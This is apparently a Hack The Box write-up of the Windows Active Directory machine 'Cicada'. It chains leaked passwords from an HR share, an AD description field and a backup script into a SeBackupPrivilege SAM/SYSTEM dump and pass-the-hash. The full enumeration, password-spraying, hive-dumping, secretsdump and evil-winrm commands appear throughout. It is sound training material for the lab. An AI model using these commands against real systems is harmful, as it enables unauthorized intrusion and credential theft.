HACK THE BOX · MACHINE WRITEUP

Cicada



A chain of three leaked plaintext passwords, from an HR onboarding notice to an AD account description to a hardcoded backup script, ends in SeBackupPrivilege abuse and a full SAM/SYSTEM dump

Windows | Easy | AD | SMB | Default Creds | SAM DUMP

Made with **SysReptor**



10.10.11.35	gugeldot	2025-06-10
Target IP	Author	Date

CICADA · WALKTHROUGH

Contents

01 General information . . . 3
1.1 Executive summary . . . 3
1.2 Kill chain . . . 3
02 Reconnaissance . . . 4
03 Foothold . . . 5
04 Privilege escalation . . . 6
05 Flags . . . 7
06 Notes & lessons . . . 8
07 References . . . 8

1. General information

A chain of three leaked plaintext passwords, from an HR onboarding notice to an AD account description to a hardcoded backup script, ends in SeBackupPrivilege abuse and a full SAM/SYSTEM dump

PLATFORM	Hack The Box
SYSTEM	Windows
DIFFICULTY	Easy
IP	`10.10.11.35`
TAGS	`AD` `SMB` `Default Creds` `SAM DUMP`

1.1 Executive summary

Cicada is a Windows Active Directory machine built entirely on leaked and reused credentials, with no exploit or CVE involved anywhere in the chain. An anonymously-readable SMB share exposes an HR onboarding notice naming the organization's default password. After enumerating the domain's usernames independently of share permissions, that default password turns out to still be valid for exactly one account, `michael.wrightson`. That foothold is enough to pull every account's SMB description field, one of which leaks a second plaintext password, for `david.orelious`. That account, in turn, can read a developer share holding a backup script with a third hardcoded plaintext password, for `emily.oscars`, a user holding `SeBackupPrivilege`. That privilege is abused to dump the SAM and SYSTEM registry hives without needing local admin, recovering the Administrator's NT hash offline.

1.2 Kill chain

1. An anonymous/guest SMB session lists the domain controller's shares. The `HR` share is readable without credentials and its `Notice from HR.txt` reveals the organization's default onboarding password.
2. Impacket's `lookupsid.py` brute-forces the domain SID over the same null session to enumerate every account name, independent of any share permission.

3. Manually spraying the default password against that enumerated user list finds it still valid for exactly one account: `michael.wrightson`.
4. Authenticated as `michael.wrightson`, NetExec (`--users`) re-enumerates the account list, this time including the `description` field. `david.orelious`'s description leaks a second plaintext password directly in Active Directory metadata.
5. `david.orelious`'s credentials unlock the `DEV` share, not readable as `michael.wrightson`, which holds a PowerShell backup script hardcoding a third plaintext password for `emily.oscars`.
6. `emily.oscars` has WinRM access: foothold, user flag.
7. `emily.oscars` holds **`SeBackupPrivilege`**, abused via `reg save` to dump the SAM and SYSTEM hives without requiring local administrator rights.
8. `secretsdump.py` extracts the local Administrator NT hash from the saved hives offline.
9. Pass-the-hash with Administrator over WinRM: root flag.

2. Reconnaissance

Port scan

```
sudo nmap --open -Pn -sS --min-rate 2500 -p- 10.10.11.35
```

Results:

```
53/tcp open  domain
88/tcp open  kerberos-sec
135/tcp open  msrpc
139/tcp open  netbios-ssn
389/tcp open  ldap
445/tcp open  microsoft-ds
464/tcp open  kpasswd5
593/tcp open  http-rpc-epmap
636/tcp open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl
5985/tcp open  wsman
```

Service & version scan

```
nmap -sCV --open -p<ports> 10.10.11.35
```

```
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain:
cicada.htb)
445/tcp  open  microsoft-ds?
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)
Host script results: Message signing enabled and required
```

3. Foothold

An anonymous/guest SMB session (any username, blank password) against the domain controller lists the available shares:

```
smbclient -U admin -L 10.10.11.35
```

```
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
DEV             Disk
HR              Disk
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share
SYSVOL          Disk      Logon server share
```

The `HR` share is readable with that anonymous session (`DEV` is not, at this point). Inside it, `Notice from HR.txt` is an onboarding message that names the organization's default password for new hires:

```
Your default password is: Cicada$M6Corpb*@Lp#nZp!8
```

The same null session is enough to run impacket's `lookupsid.py`, which brute-forces the domain SID over the LSA RPC pipe and enumerates every account name, independent of any share permission:

```
lookupsid.py admin@10.10.11.35
```

Among the built-in accounts, this reveals five human users: `john.smoulder`, `sarah.dantelia`, `michael.wrightson`, `david.orelious`, and `emily.oscars`. Manually testing the HR default password against each one in turn, it is still valid for exactly one: **`michael.wrightson`**.

Authenticated as `michael.wrightson`, NetExec is used to re-enumerate the full user list, this time pulling each account's `description` field:

```
nxc smb 10.10.11.35 -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --users
```

The description for `david.orelious` leaks a second plaintext password directly in Active Directory metadata:

```
david.orelious   2024-03-14 12:17:29   2   Just in case I forget my password is
aRt$Lp#7t*VQ!3
```

With `david.orelious`'s credentials, the `DEV` share, which was not readable as `michael.wrightson`, becomes accessible. It holds a PowerShell backup script, `Backup_script.ps1`, that hardcodes a third plaintext password, this time for a fourth account, `emily.oscars`:

```
$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential($username, $passwo
rd)
```

`emily.oscars` has WinRM access:

```
evil-winrm -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt' -i 10.10.11.35
```

giving an interactive shell and the user flag.

4. Privilege escalation

SeBackupPrivilege → SAM/SYSTEM dump

`whoami /priv` inside the `emily.oscars` session is not local administrator, but shows a small set of enabled privileges:

```
Privilege Name                Description                    State
============================= ============================== =======
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
```

`SeBackupPrivilege` grants the right to read any file on disk for backup purposes, bypassing normal DACL checks entirely. That includes the registry hives that hold password hashes. From the `emily.oscars` session, both hives are saved to disk:

```
reg save hklm\sam sam
reg save hklm\system system
```

Both files are pulled locally with evil-winrm's `download` command, then fed to `secretsdump.py` to extract the local account hashes offline:

```
secretsdump.py -sam sam -system system local
```

```
[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

With the Administrator NT hash in hand, a pass-the-hash WinRM login gives a full administrative shell and the root flag:

```
evil-winrm -u Administrator -H 2b87e7c93a3e8a0ea4a581937016f341 -i 10.10.11.35
```

5. Flags

USER.TXT	ROOT.TXT
fefd••••••••••••	e580••••••••••••

6. Notes & lessons

- **New techniques:** abusing `SeBackupPrivilege` to dump SAM/SYSTEM without local admin rights, treating an HR "welcome" document as an enumeration target, enumerating domain usernames via SID brute-forcing on a null session (`lookupsid.py`), and harvesting credentials straight out of an Active Directory account's `description` field via NetExec.
- **Interesting:** the entire chain runs on password *leakage and reuse*, with three different plaintext passwords surfacing from three different sources (an HR onboarding notice, an AD account description, and a hardcoded backup script), and no CVE needed anywhere in the box.

7. References

- SeBackupPrivilege abuse: dumping SAM/SYSTEM without admin rights